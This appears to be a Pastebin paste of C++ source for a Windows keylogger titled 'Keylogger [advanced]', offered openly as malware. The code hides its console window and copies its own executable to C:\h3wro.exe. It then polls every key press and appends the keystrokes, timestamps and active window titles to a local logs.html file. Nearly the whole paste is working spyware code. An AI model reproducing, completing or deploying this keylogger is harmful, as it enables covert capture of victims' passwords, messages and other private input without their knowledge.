DarkProgrammer000

Keylogger [advanced]

Dec 1st, 2018
274
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /// Bibliotecas
  2. #include <ctime>
  3. #include <string>
  4. #include <fstream>
  5. #include <iostream>
  6. #include <shlobj.h>
  7. #include <windows.h>
  8. using namespace std;
  9.  
  10. /// Variáveis Globais
  11. HWND hCurrentWindow;
  12. char sWindowTitle[256];
  13. bool is_capslock = false;
  14. int iBackspaceCounter = 0;
  15.  
  16. /// Protótipos
  17. void stealth();
  18. int save(int a);
  19.  
  20. /// Programa
  21. int main(int argc, char *argv[])
  22. {
  23.     // Chamada de Funçăo
  24.     stealth();
  25.  
  26.     char buffer[MAX_PATH];
  27.     GetModuleFileNameA(NULL, buffer, MAX_PATH);
  28.  
  29.     char sPath[MAX_PATH];
  30.     int iIndexCounter = 0;
  31.  
  32.     for (int i = 0; i <= MAX_PATH; i++)
  33.     {
  34.         if (buffer[i] == '\\')
  35.         {
  36.             sPath[i + iIndexCounter] = '\\';
  37.             iIndexCounter += 1;
  38.             sPath[i + iIndexCounter] = '\\';
  39.  
  40.             continue;
  41.         }
  42.         sPath[i + iIndexCounter] = buffer[i];
  43.     }
  44.  
  45.     char sDocumentsPath[MAX_PATH];
  46.     HRESULT result = SHGetFolderPathA(NULL, CSIDL_PERSONAL, NULL, 0, sDocumentsPath);
  47.  
  48.     char sDocumentsPathResult[MAX_PATH];
  49.     int iIndexCounterDoc = 0;
  50.  
  51.     for ( int i = 0; i <= MAX_PATH; i++ )
  52.     {
  53.         if ( sDocumentsPath[i] == '\\' )
  54.         {
  55.             sDocumentsPathResult[i + iIndexCounterDoc] = '\\';
  56.             iIndexCounterDoc += 1;
  57.             sDocumentsPathResult[i + iIndexCounterDoc] = '\\';
  58.  
  59.             continue;
  60.         }
  61.         sDocumentsPathResult[i + iIndexCounterDoc] = sDocumentsPath[i];
  62.     }
  63.  
  64.     char sCompleteDocPath[MAX_PATH];
  65.     strcpy(sCompleteDocPath, sDocumentsPathResult);
  66.     BOOL b = CopyFileA(sPath, "C:\\h3wro.exe", 0);
  67.  
  68.     if (!b)
  69.     {
  70.         cout << "Error: " << GetLastError() << endl;
  71.     }
  72.  
  73.     else
  74.     {
  75.         cout << "Okay " << std::endl;
  76.     }
  77.  
  78.     char i;
  79.  
  80.     while (1)
  81.     {
  82.         for ( i = 8; i <= 190; i++ )
  83.         {
  84.             if ( GetAsyncKeyState(i) == -32767 )
  85.             save(i);
  86.         }
  87.     }
  88.     return (0);
  89. }
  90. //////////////////////////// FUNÇŐES ////////////////////////////
  91.  
  92. int save(int key)
  93. {
  94.     ofstream out_file;
  95.     out_file.open("logs.html", std::ios_base::app);
  96.     string sLogs = "";
  97.  
  98.     time_t t = time(0);
  99.  
  100.     if ( hCurrentWindow != GetForegroundWindow() )
  101.     {
  102.         hCurrentWindow = GetForegroundWindow();
  103.         char title[256];
  104.         GetWindowTextA( hCurrentWindow, title, sizeof(title) );
  105.  
  106.         sLogs += "<font size=\"3\"><br><br><b>";
  107.         sLogs += asctime(localtime(&t));
  108.         sLogs += "<br>Window name: ";
  109.         sLogs += title;
  110.         sLogs += "]</b><br></font>";
  111.     }
  112.  
  113.     if ( ( GetAsyncKeyState(VK_CAPITAL) & 0x0001 ) != 0 )
  114.     {
  115.         is_capslock = true;
  116.     }
  117.  
  118.     switch (key)
  119.     {
  120.         case 1:
  121.             return 0;
  122.             break;
  123.  
  124.         case 2:
  125.             return 0;
  126.             break;
  127.  
  128.         case 96:
  129.             iBackspaceCounter = 0;
  130.             sLogs += "0";
  131.             break;
  132.  
  133.         case 97:
  134.             iBackspaceCounter = 0;
  135.             sLogs += "1";
  136.             break;
  137.  
  138.         case 98:
  139.             iBackspaceCounter = 0;
  140.             sLogs += "2";
  141.             break;
  142.  
  143.         case 99:
  144.             iBackspaceCounter = 0;
  145.             sLogs += "3";
  146.             break;
  147.  
  148.         case 100:
  149.             iBackspaceCounter = 0;
  150.             sLogs += "4";
  151.             break;
  152.  
  153.         case 101:
  154.             iBackspaceCounter = 0;
  155.             sLogs += "5";
  156.             break;
  157.  
  158.         case 102:
  159.             iBackspaceCounter = 0;
  160.             sLogs += "6";
  161.             break;
  162.  
  163.         case 103:
  164.             iBackspaceCounter = 0;
  165.             sLogs += "7";
  166.             break;
  167.  
  168.         case 104:
  169.             iBackspaceCounter = 0;
  170.             sLogs += "8";
  171.             break;
  172.  
  173.         case 105:
  174.             iBackspaceCounter = 0;
  175.             sLogs += "9";
  176.             break;
  177.  
  178.         case 48:
  179.             iBackspaceCounter = 0;
  180.  
  181.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  182.             {
  183.                 sLogs += ")";
  184.             }
  185.  
  186.             else
  187.             {
  188.                 sLogs += "0";
  189.             }
  190.  
  191.             break;
  192.  
  193.         case 49:
  194.             iBackspaceCounter = 0;
  195.  
  196.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  197.             {
  198.                 sLogs += "!";
  199.             }
  200.  
  201.             else
  202.             {
  203.                 sLogs += "1";
  204.             }
  205.  
  206.             break;
  207.  
  208.         case 50:
  209.             iBackspaceCounter = 0;
  210.  
  211.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  212.             {
  213.                 sLogs += "@";
  214.             }
  215.  
  216.             else
  217.             {
  218.                 sLogs += "2";
  219.             }
  220.  
  221.             break;
  222.  
  223.         case 51:
  224.             iBackspaceCounter = 0;
  225.  
  226.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  227.             {
  228.                 sLogs += "#";
  229.             }
  230.  
  231.             else
  232.             {
  233.                 sLogs += "3";
  234.             }
  235.  
  236.             break;
  237.  
  238.         case 52:
  239.             iBackspaceCounter = 0;
  240.  
  241.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  242.             {
  243.                 sLogs += "$";
  244.             }
  245.  
  246.             else
  247.             {
  248.                 sLogs += "4";
  249.             }
  250.  
  251.             break;
  252.  
  253.         case 53:
  254.             iBackspaceCounter = 0;
  255.  
  256.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  257.             {
  258.                 sLogs += "%";
  259.             }
  260.  
  261.             else
  262.             {
  263.                 sLogs += "5";
  264.             }
  265.  
  266.             break;
  267.  
  268.         case 54:
  269.             iBackspaceCounter = 0;
  270.  
  271.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  272.             {
  273.                 sLogs += "^";
  274.             }
  275.  
  276.             else
  277.             {
  278.                 sLogs += "6";
  279.             }
  280.  
  281.             break;
  282.  
  283.         case 55:
  284.             iBackspaceCounter = 0;
  285.  
  286.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  287.             {
  288.                 sLogs += "&";
  289.             }
  290.  
  291.             else
  292.             {
  293.                 sLogs += "7";
  294.             }
  295.  
  296.             break;
  297.  
  298.         case 56:
  299.             iBackspaceCounter = 0;
  300.  
  301.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  302.             {
  303.                 sLogs += "*";
  304.             }
  305.  
  306.             else
  307.             {
  308.                 sLogs += "8";
  309.             }
  310.  
  311.             break;
  312.  
  313.         case 57:
  314.             iBackspaceCounter = 0;
  315.  
  316.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  317.             {
  318.                 sLogs += "(";
  319.             }
  320.  
  321.             else
  322.             {
  323.                 sLogs += "9";
  324.             }
  325.  
  326.             break;
  327.  
  328.         case 65:
  329.             iBackspaceCounter = 0;
  330.  
  331.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  332.             {
  333.                 if ( GetAsyncKeyState(VK_MENU) )
  334.                 {
  335.                     sLogs += "&#260";
  336.                 }
  337.  
  338.                 else
  339.                 {
  340.                     sLogs += "A";
  341.                 }
  342.             }
  343.  
  344.             else
  345.             {
  346.                 if ( GetAsyncKeyState(VK_MENU) )
  347.                 {
  348.                     sLogs += "&#261";
  349.                 }
  350.  
  351.                 else
  352.                 {
  353.                     sLogs += "a";
  354.                 }
  355.             }
  356.  
  357.             break;
  358.  
  359.         case 66:
  360.             iBackspaceCounter = 0;
  361.  
  362.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  363.             {
  364.                 sLogs += "B";
  365.             }
  366.  
  367.             else
  368.             {
  369.                 sLogs += "b";
  370.             }
  371.  
  372.             break;
  373.  
  374.         case 67:
  375.             iBackspaceCounter = 0;
  376.  
  377.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  378.             {
  379.                 if ( GetAsyncKeyState(VK_MENU) )
  380.                 {
  381.                     sLogs += "&#262";
  382.                 }
  383.  
  384.                 else
  385.                 {
  386.                     sLogs += "C";
  387.                 }
  388.             }
  389.  
  390.             else
  391.             {
  392.                 if ( GetAsyncKeyState(VK_MENU) )
  393.                 {
  394.                     sLogs += "&#263";
  395.                 }
  396.  
  397.                 else
  398.                 {
  399.                     sLogs += "c";
  400.                 }
  401.             }
  402.             break;
  403.  
  404.         case 68:
  405.             iBackspaceCounter = 0;
  406.  
  407.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  408.             {
  409.                 sLogs += "D";
  410.             }
  411.  
  412.             else
  413.             {
  414.                 sLogs += "d";
  415.             }
  416.             break;
  417.  
  418.         case 69:
  419.             iBackspaceCounter = 0;
  420.  
  421.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  422.             {
  423.                 if ( GetAsyncKeyState(VK_MENU) )
  424.                 {
  425.                     sLogs += "&#280";
  426.                 }
  427.  
  428.                 else
  429.                 {
  430.                     sLogs += "E";
  431.                 }
  432.             }
  433.  
  434.             else
  435.             {
  436.                 if ( GetAsyncKeyState(VK_MENU) )
  437.                 {
  438.                     sLogs += "&#281";
  439.                 }
  440.  
  441.                 else
  442.                 {
  443.                     sLogs += "e";
  444.                 }
  445.             }
  446.             break;
  447.  
  448.         case 70:
  449.             iBackspaceCounter = 0;
  450.  
  451.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  452.             {
  453.                 sLogs += "F";
  454.             }
  455.  
  456.             else
  457.             {
  458.                 sLogs += "f";
  459.             }
  460.             break;
  461.  
  462.         case 71:
  463.             iBackspaceCounter = 0;
  464.  
  465.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  466.             {
  467.                 sLogs += "G";
  468.             }
  469.  
  470.             else
  471.             {
  472.                 sLogs += "g";
  473.             }
  474.             break;
  475.  
  476.         case 72:
  477.             iBackspaceCounter = 0;
  478.  
  479.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  480.             {
  481.                 sLogs += "H";
  482.             }
  483.  
  484.             else
  485.             {
  486.                 sLogs += "h";
  487.             }
  488.             break;
  489.  
  490.         case 73:
  491.             iBackspaceCounter = 0;
  492.  
  493.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  494.             {
  495.                 sLogs += "I";
  496.             }
  497.  
  498.             else
  499.             {
  500.                 sLogs += "i";
  501.             }
  502.             break;
  503.  
  504.         case 74:
  505.             iBackspaceCounter = 0;
  506.  
  507.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  508.             {
  509.                 sLogs += "J";
  510.             }
  511.  
  512.             else
  513.             {
  514.                 sLogs += "j";
  515.             }
  516.  
  517.             break;
  518.  
  519.         case 75:
  520.             iBackspaceCounter = 0;
  521.  
  522.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  523.             {
  524.                 sLogs += "K";
  525.             }
  526.  
  527.             else
  528.             {
  529.                 sLogs += "k";
  530.             }
  531.  
  532.             break;
  533.  
  534.         case 76:
  535.             iBackspaceCounter = 0;
  536.  
  537.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  538.             {
  539.                 if ( GetAsyncKeyState(VK_MENU) )
  540.                 {
  541.                     sLogs += "&#321";
  542.                 }
  543.  
  544.                 else
  545.                 {
  546.                     sLogs += "L";
  547.                 }
  548.             }
  549.  
  550.             else
  551.             {
  552.                 if ( GetAsyncKeyState(VK_MENU) )
  553.                 {
  554.                     sLogs += "&322";
  555.                 }
  556.  
  557.                 else
  558.                 {
  559.                     sLogs += "l";
  560.                 }
  561.             }
  562.             break;
  563.  
  564.         case 77:
  565.             iBackspaceCounter = 0;
  566.  
  567.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  568.             {
  569.                 sLogs += "M";
  570.             }
  571.  
  572.             else
  573.             {
  574.                 sLogs += "m";
  575.             }
  576.  
  577.             break;
  578.  
  579.         case 78:
  580.             iBackspaceCounter = 0;
  581.  
  582.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  583.             {
  584.                 if ( GetAsyncKeyState(VK_MENU) )
  585.                 {
  586.                     sLogs += "&#323";
  587.                 }
  588.  
  589.                 else
  590.                 {
  591.                     sLogs += "N";
  592.                 }
  593.             }
  594.  
  595.             else
  596.             {
  597.                 if ( GetAsyncKeyState(VK_MENU) )
  598.                 {
  599.                     sLogs += "&#324";
  600.                 }
  601.  
  602.                 else
  603.                 {
  604.                     sLogs += "n";
  605.                 }
  606.             }
  607.             break;
  608.  
  609.         case 79:
  610.             iBackspaceCounter = 0;
  611.  
  612.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  613.             {
  614.                 if ( GetAsyncKeyState(VK_MENU) )
  615.                 {
  616.                     sLogs += "&#211";
  617.                 }
  618.  
  619.                 else
  620.                 {
  621.                     sLogs += "O";
  622.                 }
  623.             }
  624.  
  625.             else
  626.             {
  627.                 if ( GetAsyncKeyState(VK_MENU) )
  628.                 {
  629.                     sLogs += "&#243";
  630.                 }
  631.  
  632.                 else
  633.                 {
  634.                     sLogs += "o";
  635.                 }
  636.             }
  637.             break;
  638.  
  639.  
  640.         case 80:
  641.             iBackspaceCounter = 0;
  642.  
  643.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  644.             {
  645.                 sLogs += "P";
  646.             }
  647.             else
  648.             {
  649.                 sLogs += "p";
  650.             }
  651.             break;
  652.  
  653.         case 81:
  654.             iBackspaceCounter = 0;
  655.  
  656.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  657.             {
  658.                 sLogs += "Q";
  659.             }
  660.  
  661.             else
  662.             {
  663.                 sLogs += "q";
  664.             }
  665.  
  666.             break;
  667.  
  668.         case 82:
  669.             iBackspaceCounter = 0;
  670.  
  671.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  672.             {
  673.                 sLogs += "R";
  674.             }
  675.  
  676.             else
  677.             {
  678.                 sLogs += "r";
  679.             }
  680.             break;
  681.  
  682.         case 83:
  683.             iBackspaceCounter = 0;
  684.  
  685.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  686.             {
  687.                 if ( GetAsyncKeyState(VK_MENU) )
  688.                 {
  689.                     sLogs += "&#346";
  690.                 }
  691.                 else
  692.                 {
  693.                     sLogs += "S";
  694.                 }
  695.             }
  696.  
  697.             else
  698.             {
  699.                 if ( GetAsyncKeyState(VK_MENU) )
  700.                 {
  701.                     sLogs += "&#347";
  702.                 }
  703.  
  704.                 else
  705.                 {
  706.                     sLogs += "s";
  707.                 }
  708.             }
  709.             break;
  710.  
  711.         case 84:
  712.             iBackspaceCounter = 0;
  713.  
  714.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  715.             {
  716.                 sLogs += "T";
  717.             }
  718.  
  719.             else
  720.             {
  721.                 sLogs += "t";
  722.             }
  723.             break;
  724.  
  725.         case 85:
  726.             iBackspaceCounter = 0;
  727.  
  728.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  729.             {
  730.                 sLogs += "U";
  731.             }
  732.  
  733.             else
  734.             {
  735.                 if ( GetAsyncKeyState(VK_MENU) )
  736.                 {
  737.                     sLogs += "€";
  738.                 }
  739.  
  740.                 else
  741.                 {
  742.                     sLogs += "u";
  743.                 }
  744.             }
  745.             break;
  746.  
  747.         case 86:
  748.             iBackspaceCounter = 0;
  749.  
  750.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  751.             {
  752.                 sLogs += "V";
  753.             }
  754.  
  755.             else
  756.             {
  757.                 sLogs += "v";
  758.             }
  759.  
  760.             break;
  761.  
  762.         case 87:
  763.             iBackspaceCounter = 0;
  764.  
  765.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  766.             {
  767.                 sLogs += "W";
  768.             }
  769.  
  770.             else
  771.             {
  772.                 sLogs += "w";
  773.             }
  774.  
  775.             break;
  776.  
  777.         case 88:
  778.             iBackspaceCounter = 0;
  779.  
  780.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  781.             {
  782.                 if ( GetAsyncKeyState(VK_MENU) )
  783.                 {
  784.                     sLogs += "&#377";
  785.                 }
  786.  
  787.                 else
  788.                 {
  789.                     sLogs += "X";
  790.                 }
  791.             }
  792.  
  793.             else
  794.             {
  795.                 if ( GetAsyncKeyState(VK_MENU) )
  796.                 {
  797.                     sLogs += "&#378";
  798.                 }
  799.  
  800.                 else
  801.                 {
  802.                     sLogs += "x";
  803.                 }
  804.             }
  805.  
  806.             break;
  807.  
  808.         case 89:
  809.             iBackspaceCounter = 0;
  810.  
  811.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  812.             {
  813.                 sLogs += "Y";
  814.             }
  815.  
  816.             else
  817.             {
  818.                 sLogs += "y";
  819.             }
  820.             break;
  821.  
  822.         case 90:
  823.             iBackspaceCounter = 0;
  824.  
  825.             if ( GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT) )
  826.             {
  827.                 if ( GetAsyncKeyState(VK_MENU) )
  828.                 {
  829.                     sLogs += "&#379";
  830.                 }
  831.  
  832.                 else
  833.                 {
  834.                     sLogs += "Z";
  835.                 }
  836.             }
  837.  
  838.             else
  839.             {
  840.                 if ( GetAsyncKeyState(VK_MENU) )
  841.                 {
  842.                     sLogs += "&#380";
  843.                 }
  844.  
  845.                 else
  846.                 {
  847.                     sLogs += "z";
  848.                 }
  849.             }
  850.             break;
  851.  
  852.         case 13:
  853.             iBackspaceCounter = 0;
  854.             sLogs += "\n";
  855.             break;
  856.  
  857.         case 20:
  858.             iBackspaceCounter = 0;
  859.  
  860.             if ( is_capslock == false )
  861.             {
  862.                 is_capslock = true;
  863.                 sLogs += "<font size=\"1\">[CapsLock]</font>";
  864.             }
  865.  
  866.             else
  867.             {
  868.                 is_capslock = false;
  869.                 sLogs += "<font size=\"1\">[/CapsLock]</font>";
  870.             }
  871.             break;
  872.  
  873.             case VK_BACK:
  874.                 iBackspaceCounter += 1;
  875.                 sLogs += "<font size=\"1\">[";
  876.                 sLogs += iBackspaceCounter + '0';
  877.                 sLogs += "x";
  878.                 sLogs += "Backspace]</font>";
  879.                 break;
  880.  
  881.             case VK_SPACE:
  882.                 iBackspaceCounter = 0;
  883.                 sLogs += " ";
  884.                 break;
  885.  
  886.             case VK_MULTIPLY:
  887.                 iBackspaceCounter = 0;
  888.                 sLogs += "*";
  889.                 break;
  890.  
  891.             case VK_ADD:
  892.                 iBackspaceCounter = 0;
  893.                 sLogs += "+";
  894.                 break;
  895.  
  896.             case VK_SUBTRACT:
  897.                 iBackspaceCounter = 0;
  898.                 sLogs += "-";
  899.                 break;
  900.  
  901.             case VK_DECIMAL:
  902.                 iBackspaceCounter = 0;
  903.                 sLogs += ".";
  904.                 break;
  905.  
  906.             case VK_DIVIDE:
  907.                 iBackspaceCounter = 0;
  908.                 sLogs += "/";
  909.                 break;
  910.  
  911.             default:
  912.                 break;
  913.     }
  914.     out_file << sLogs;
  915.     out_file.close();
  916.  
  917.     return (0);
  918. }
  919.  
  920. void stealth()
  921. {
  922.     HWND stealth;
  923.  
  924.     AllocConsole();
  925.  
  926.     stealth = FindWindowA("consoleWindowClass", NULL);
  927.  
  928.     ShowWindow(stealth, 0);
  929. }
RAW Paste Data